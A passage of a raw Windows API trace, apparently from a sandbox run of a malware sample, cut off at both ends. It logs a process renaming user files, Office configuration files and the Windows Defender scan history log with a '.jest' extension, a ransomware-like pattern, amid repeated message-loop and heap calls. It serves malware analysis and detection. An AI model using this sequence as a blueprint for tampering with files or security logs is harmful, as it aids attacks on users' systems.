lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures\\Tulips.jpg", lpFilePart=0x18e708*="Tulips.jpg") returned 0x33 [0128.821] MoveFileA (lpExistingFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Tulips.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\tulips.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\5HQMWXRMImdv69x75kyq4Ff5i6rZo2d3kUgcBswL6Zm2zqrl45O K DFE9upKVip391QtKQfCPEDVgUSJW3lQXHjnQJyugHDh2uwG.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\5hqmwxrmimdv69x75kyq4ff5i6rzo2d3kugcbswl6zm2zqrl45o k dfe9upkvip391qtkqfcpedvgusjw3lqxhjnqjyughdh2uwg.tmp")) returned 0 [0128.822] GetLastError () returned 0x2 [0128.822] GetLastError () returned 0x2 [0128.822] SetLastError (dwErrCode=0x2) [0128.822] GetLastError () returned 0x2 [0128.822] SetLastError (dwErrCode=0x2) [0128.822] GetLastError () returned 0x2 [0128.822] SetLastError (dwErrCode=0x2) [0128.822] GetFullPathNameA (in: lpFileName="5HQMWXRMImdv69x75kyq4Ff5i6rZo2d3kUgcBswL6Zm2zqrl45O K DFE9upKVip391QtKQfCPEDVgUSJW3lQXHjnQJyugHDh2uwG.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\5HQMWXRMImdv69x75kyq4Ff5i6rZo2d3kUgcBswL6Zm2zqrl45O K DFE9upKVip391QtKQfCPEDVgUSJW3lQXHjnQJyugHDh2uwG.tmp", lpFilePart=0x18e6e4*="5HQMWXRMImdv69x75kyq4Ff5i6rZo2d3kUgcBswL6Zm2zqrl45O K DFE9upKVip391QtKQfCPEDVgUSJW3lQXHjnQJyugHDh2uwG.tmp") returned 0x8f [0128.822] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\5HQMWXRMImdv69x75kyq4Ff5i6rZo2d3kUgcBswL6Zm2zqrl45O K DFE9upKVip391QtKQfCPEDVgUSJW3lQXHjnQJyugHDh2uwG.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x4d514835, cFileName="WXRMImdv69x75kyq4Ff5i6rZo2d3kUgcBswL6Zm2zqrl45O K DFE9upKVip391QtKQfCPEDVgUSJW3lQXHjnQJyugHDh2uwG.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0128.822] GetLastError () returned 0x2 [0128.822] GetLastError () returned 0x2 [0128.822] SetLastError (dwErrCode=0x2) [0128.842] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0128.842] CoFreeUnusedLibraries () [0128.842] GetTickCount () returned 0x1152a2d [0128.842] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0128.842] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0128.842] GetTickCount () returned 0x1152a2d [0128.842] IsWindowVisible (hWnd=0x30268) returned 0 [0128.843] Sleep (dwMilliseconds=0x0) [0128.875] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0128.875] CoFreeUnusedLibraries () [0128.875] GetTickCount () returned 0x1152a4c [0128.875] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0128.875] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0128.875] GetTickCount () returned 0x1152a4c [0128.875] IsWindowVisible (hWnd=0x30268) returned 0 [0128.875] Sleep (dwMilliseconds=0x0) [0128.894] MoveFileA (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Service\\History.Log" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\history\\service\\history.log"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Service\\History.Log.jest" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\history\\service\\history.log.jest")) returned 1 [0128.896] GetFullPathNameA (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Service\\History.Log", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Service\\History.Log", lpFilePart=0x18e6d8*="History.Log") returned 0x4b [0128.896] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Service\\History.Log", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0xfffffffe, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1413628, ftLastAccessTime.dwHighDateTime=0x4020, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x14c88b0, nFileSizeHigh=0x146ad80, nFileSizeLow=0x0, dwReserved0=0xd1, dwReserved1=0x0, cFileName="", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0128.896] GetLastError () returned 0x2 [0128.897] VarBstrFromR4 (in: fltIn=0x4794465f, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75916.74") returned 0x0 [0128.897] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0128.897] CoFreeUnusedLibraries () [0128.897] GetTickCount () returned 0x1152a6b [0128.897] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0128.897] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0128.897] GetTickCount () returned 0x1152a6b [0128.897] IsWindowVisible (hWnd=0x30268) returned 0 [0128.897] Sleep (dwMilliseconds=0x0) [0128.898] GetFullPathNameA (in: lpFileName="BwX3VpxHsoM5TGWK8RFnwhz0B6ldBW8MsBj90JeVnKhe3CHK oSt 0EZGrOXV9AYTAymG_ekfC6Gk-PQ7iXEO9v96q0JKyrBg8nS.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\BwX3VpxHsoM5TGWK8RFnwhz0B6ldBW8MsBj90JeVnKhe3CHK oSt 0EZGrOXV9AYTAymG_ekfC6Gk-PQ7iXEO9v96q0JKyrBg8nS.tmp", lpFilePart=0x18e708*="BwX3VpxHsoM5TGWK8RFnwhz0B6ldBW8MsBj90JeVnKhe3CHK oSt 0EZGrOXV9AYTAymG_ekfC6Gk-PQ7iXEO9v96q0JKyrBg8nS.tmp") returned 0x8e [0128.898] GetFullPathNameA (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Service\\History.Log", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Service\\History.Log", lpFilePart=0x18e708*="History.Log") returned 0x4b [0128.899] MoveFileA (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Service\\History.Log" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\history\\service\\history.log"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\BwX3VpxHsoM5TGWK8RFnwhz0B6ldBW8MsBj90JeVnKhe3CHK oSt 0EZGrOXV9AYTAymG_ekfC6Gk-PQ7iXEO9v96q0JKyrBg8nS.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bwx3vpxhsom5tgwk8rfnwhz0b6ldbw8msbj90jevnkhe3chk ost 0ezgroxv9aytaymg_ekfc6gk-pq7ixeo9v96q0jkyrbg8ns.tmp")) returned 0 [0128.899] GetLastError () returned 0x2 [0128.899] GetLastError () returned 0x2 [0128.899] SetLastError (dwErrCode=0x2) [0128.899] GetLastError () returned 0x2 [0128.899] SetLastError (dwErrCode=0x2) [0128.899] GetLastError () returned 0x2 [0128.899] SetLastError (dwErrCode=0x2) [0128.899] GetFullPathNameA (in: lpFileName="BwX3VpxHsoM5TGWK8RFnwhz0B6ldBW8MsBj90JeVnKhe3CHK oSt 0EZGrOXV9AYTAymG_ekfC6Gk-PQ7iXEO9v96q0JKyrBg8nS.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\BwX3VpxHsoM5TGWK8RFnwhz0B6ldBW8MsBj90JeVnKhe3CHK oSt 0EZGrOXV9AYTAymG_ekfC6Gk-PQ7iXEO9v96q0JKyrBg8nS.tmp", lpFilePart=0x18e6e4*="BwX3VpxHsoM5TGWK8RFnwhz0B6ldBW8MsBj90JeVnKhe3CHK oSt 0EZGrOXV9AYTAymG_ekfC6Gk-PQ7iXEO9v96q0JKyrBg8nS.tmp") returned 0x8e [0128.899] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\BwX3VpxHsoM5TGWK8RFnwhz0B6ldBW8MsBj90JeVnKhe3CHK oSt 0EZGrOXV9AYTAymG_ekfC6Gk-PQ7iXEO9v96q0JKyrBg8nS.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x33587742, cFileName="VpxHsoM5TGWK8RFnwhz0B6ldBW8MsBj90JeVnKhe3CHK oSt 0EZGrOXV9AYTAymG_ekfC6Gk-PQ7iXEO9v96q0JKyrBg8nS.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0128.899] GetLastError () returned 0x2 [0128.899] GetLastError () returned 0x2 [0128.900] SetLastError (dwErrCode=0x2) [0128.924] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0128.924] CoFreeUnusedLibraries () [0128.924] GetTickCount () returned 0x1152a7b [0128.924] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0128.924] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0128.924] GetTickCount () returned 0x1152a7b [0128.924] IsWindowVisible (hWnd=0x30268) returned 0 [0128.925] Sleep (dwMilliseconds=0x0) [0128.932] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\ONetConfig\\350db95df4cbd94b2a1c300510e12e11.xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\office\\onetconfig\\350db95df4cbd94b2a1c300510e12e11.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\ONetConfig\\350db95df4cbd94b2a1c300510e12e11.xml.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\office\\onetconfig\\350db95df4cbd94b2a1c300510e12e11.xml.jest")) returned 1 [0128.933] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\ONetConfig\\350db95df4cbd94b2a1c300510e12e11.xml", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\ONetConfig\\350db95df4cbd94b2a1c300510e12e11.xml", lpFilePart=0x18e6d8*="350db95df4cbd94b2a1c300510e12e11.xml") returned 0x6c [0128.933] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\ONetConfig\\350db95df4cbd94b2a1c300510e12e11.xml", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x3000003, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x144bbf0, ftLastAccessTime.dwLowDateTime=0x14cf350, ftLastAccessTime.dwHighDateTime=0x1439710, ftLastWriteTime.dwLowDateTime=0x18, ftLastWriteTime.dwHighDateTime=0x1410000, nFileSizeHigh=0x2, nFileSizeLow=0x144baf8, dwReserved0=0x18ea24, dwReserved1=0x77c7389e, cFileName="8\x01A\x01z8ÇwYpÍw", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0128.933] GetLastError () returned 0x2 [0128.934] VarBstrFromR4 (in: fltIn=0x47944663, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75916.77") returned 0x0 [0128.934] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0128.934] CoFreeUnusedLibraries () [0128.934] GetTickCount () returned 0x1152a8a [0128.934] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0128.934] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0128.934] GetTickCount () returned 0x1152a8a [0128.934] IsWindowVisible (hWnd=0x30268) returned 0 [0128.934] Sleep (dwMilliseconds=0x0) [0128.935] GetFullPathNameA (in: lpFileName="oGMIkImAV23sl5hqUbyox0RP3lKbYkXBpgFO6UEhIn5JRAeZK5Tt Y9oqnKjROm-OwLoHIAGBxQ_uZuKGhBTRQyV92UURHSg9wQLv.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\oGMIkImAV23sl5hqUbyox0RP3lKbYkXBpgFO6UEhIn5JRAeZK5Tt Y9oqnKjROm-OwLoHIAGBxQ_uZuKGhBTRQyV92UURHSg9wQLv.tmp", lpFilePart=0x18e708*="oGMIkImAV23sl5hqUbyox0RP3lKbYkXBpgFO6UEhIn5JRAeZK5Tt Y9oqnKjROm-OwLoHIAGBxQ_uZuKGhBTRQyV92UURHSg9wQLv.tmp") returned 0x8f [0128.935] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\ONetConfig\\350db95df4cbd94b2a1c300510e12e11.xml", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\ONetConfig\\350db95df4cbd94b2a1c300510e12e11.xml", lpFilePart=0x18e708*="350db95df4cbd94b2a1c300510e12e11.xml") returned 0x6c [0128.936] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\ONetConfig\\350db95df4cbd94b2a1c300510e12e11.xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\office\\onetconfig\\350db95df4cbd94b2a1c300510e12e11.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\oGMIkImAV23sl5hqUbyox0RP3lKbYkXBpgFO6UEhIn5JRAeZK5Tt Y9oqnKjROm-OwLoHIAGBxQ_uZuKGhBTRQyV92UURHSg9wQLv.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ogmikimav23sl5hqubyox0rp3lkbykxbpgfo6uehin5jraezk5tt y9oqnkjrom-owlohiagbxq_uzukghbtrqyv92uurhsg9wqlv.tmp")) returned 0 [0128.936] GetLastError () returned 0x2 [0128.936] GetLastError () returned 0x2 [0128.936] SetLastError (dwErrCode=0x2) [0128.936] GetLastError () returned 0x2 [0128.936] SetLastError (dwErrCode=0x2) [0128.936] GetLastError () returned 0x2 [0128.936] SetLastError (dwErrCode=0x2) [0128.936] GetFullPathNameA (in: lpFileName="oGMIkImAV23sl5hqUbyox0RP3lKbYkXBpgFO6UEhIn5JRAeZK5Tt Y9oqnKjROm-OwLoHIAGBxQ_uZuKGhBTRQyV92UURHSg9wQLv.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\oGMIkImAV23sl5hqUbyox0RP3lKbYkXBpgFO6UEhIn5JRAeZK5Tt Y9oqnKjROm-OwLoHIAGBxQ_uZuKGhBTRQyV92UURHSg9wQLv.tmp", lpFilePart=0x18e6e4*="oGMIkImAV23sl5hqUbyox0RP3lKbYkXBpgFO6UEhIn5JRAeZK5Tt Y9oqnKjROm-OwLoHIAGBxQ_uZuKGhBTRQyV92UURHSg9wQLv.tmp") returned 0x8f [0128.936] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\oGMIkImAV23sl5hqUbyox0RP3lKbYkXBpgFO6UEhIn5JRAeZK5Tt Y9oqnKjROm-OwLoHIAGBxQ_uZuKGhBTRQyV92UURHSg9wQLv.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x494d476f, cFileName="kImAV23sl5hqUbyox0RP3lKbYkXBpgFO6UEhIn5JRAeZK5Tt Y9oqnKjROm-OwLoHIAGBxQ_uZuKGhBTRQyV92UURHSg9wQLv.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0128.937] GetLastError () returned 0x2 [0128.937] GetLastError () returned 0x2 [0128.937] SetLastError (dwErrCode=0x2) [0128.988] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0128.989] CoFreeUnusedLibraries () [0128.989] GetTickCount () returned 0x1152ab9 [0128.989] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0128.989] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0128.989] GetTickCount () returned 0x1152ab9 [0128.989] IsWindowVisible (hWnd=0x30268) returned 0 [0128.989] Sleep (dwMilliseconds=0x0) [0129.078] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0129.078] CoFreeUnusedLibraries () [0129.079] GetTickCount () returned 0x1152b17 [0129.079] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0129.079] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0129.079] GetTickCount () returned 0x1152b17 [0129.079] IsWindowVisible (hWnd=0x30268) returned 0 [0129.079] Sleep (dwMilliseconds=0x0) [0129.172] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0129.172] CoFreeUnusedLibraries () [0129.172] GetTickCount () returned 0x1152b74 [0129.172] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0129.173] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0129.173] GetTickCount () returned 0x1152b74 [0129.173] IsWindowVisible (hWnd=0x30268) returned 0 [0129.173] Sleep (dwMilliseconds=0x0) [0129.306] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0129.307] CoFreeUnusedLibraries () [0129.307] GetTickCount () returned 0x1152c01 [0129.307] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0129.307] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0129.307] GetTickCount () returned 0x1152c01 [0129.307] IsWindowVisible (hWnd=0x30268) returned 0 [0129.307] Sleep (dwMilliseconds=0x0) [0129.471] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0129.471] CoFreeUnusedLibraries () [0129.471] GetTickCount () returned 0x1152c9d [0129.471] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0129.472] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0129.472] GetTickCount () returned 0x1152c9d [0129.472] IsWindowVisible (hWnd=0x30268) returned 0 [0129.472] Sleep (dwMilliseconds=0x0) [0129.746] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0129.746] CoFreeUnusedLibraries () [0129.746] GetTickCount () returned 0x1152db5 [0129.746] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0129.746] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0129.746] GetTickCount () returned 0x1152db5 [0129.747] IsWindowVisible (hWnd=0x30268) returned 0 [0129.747] Sleep (dwMilliseconds=0x0) [0129.755] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\14\\Built-In Building Blocks.dotx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\document building blocks\\1033\\14\\built-in building blocks.dotx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\14\\Built-In Building Blocks.dotx.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\document building blocks\\1033\\14\\built-in building blocks.dotx.jest")) returned 1 [0129.761] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\14\\Built-In Building Blocks.dotx", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\14\\Built-In Building Blocks.dotx", lpFilePart=0x18e6d8*="Built-In Building Blocks.dotx") returned 0x76 [0129.761] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\14\\Built-In Building Blocks.dotx", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x18000018, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x144ede8, ftLastAccessTime.dwLowDateTime=0x14c88b0, ftLastAccessTime.dwHighDateTime=0x14e21e0, ftLastWriteTime.dwLowDateTime=0xc0, ftLastWriteTime.dwHighDateTime=0x1410000, nFileSizeHigh=0x800000, nFileSizeLow=0x144ebe8, dwReserved0=0x18ea24, dwReserved1=0x77c7389e, cFileName="8\x01A\x01z8ÇwYpÍw", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0129.762] GetLastError () returned 0x2 [0129.763] VarBstrFromR4 (in: fltIn=0x479446cd, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75917.6") returned 0x0 [0129.763] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0129.763] CoFreeUnusedLibraries () [0129.763] GetTickCount () returned 0x1152dc5 [0129.763] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0129.763] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0129.763] GetTickCount () returned 0x1152dc5 [0129.763] IsWindowVisible (hWnd=0x30268) returned 0 [0129.764] Sleep (dwMilliseconds=0x0) [0129.764] GetFullPathNameA (in: lpFileName="IsVSgkDZM4KNAqz-3FC7ozSut2LgRW7SSrgOEBIOvVar _n9ZZ43rpGX05JqKbBE6GFwe6Ihy109PGFAiY3a4EPRJ-TS3detrLc4.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\IsVSgkDZM4KNAqz-3FC7ozSut2LgRW7SSrgOEBIOvVar _n9ZZ43rpGX05JqKbBE6GFwe6Ihy109PGFAiY3a4EPRJ-TS3detrLc4.tmp", lpFilePart=0x18e708*="IsVSgkDZM4KNAqz-3FC7ozSut2LgRW7SSrgOEBIOvVar _n9ZZ43rpGX05JqKbBE6GFwe6Ihy109PGFAiY3a4EPRJ-TS3detrLc4.tmp") returned 0x8e [0129.764] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\14\\Built-In Building Blocks.dotx", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\14\\Built-In Building Blocks.dotx", lpFilePart=0x18e708*="Built-In Building Blocks.dotx") returned 0x76 [0129.765] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\14\\Built-In Building Blocks.dotx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\document building blocks\\1033\\14\\built-in building blocks.dotx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\IsVSgkDZM4KNAqz-3FC7ozSut2LgRW7SSrgOEBIOvVar _n9ZZ43rpGX05JqKbBE6GFwe6Ihy109PGFAiY3a4EPRJ-TS3detrLc4.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\isvsgkdzm4knaqz-3fc7ozsut2lgrw7ssrgoebiovvar _n9zz43rpgx05jqkbbe6gfwe6ihy109pgfaiy3a4eprj-ts3detrlc4.tmp")) returned 0 [0129.765] GetLastError () returned 0x2 [0129.765] GetLastError () returned 0x2 [0129.765] SetLastError (dwErrCode=0x2) [0129.765] GetLastError () returned 0x2 [0129.765] SetLastError (dwErrCode=0x2) [0129.765] GetLastError () returned 0x2 [0129.765] SetLastError (dwErrCode=0x2) [0129.766] GetFullPathNameA (in: 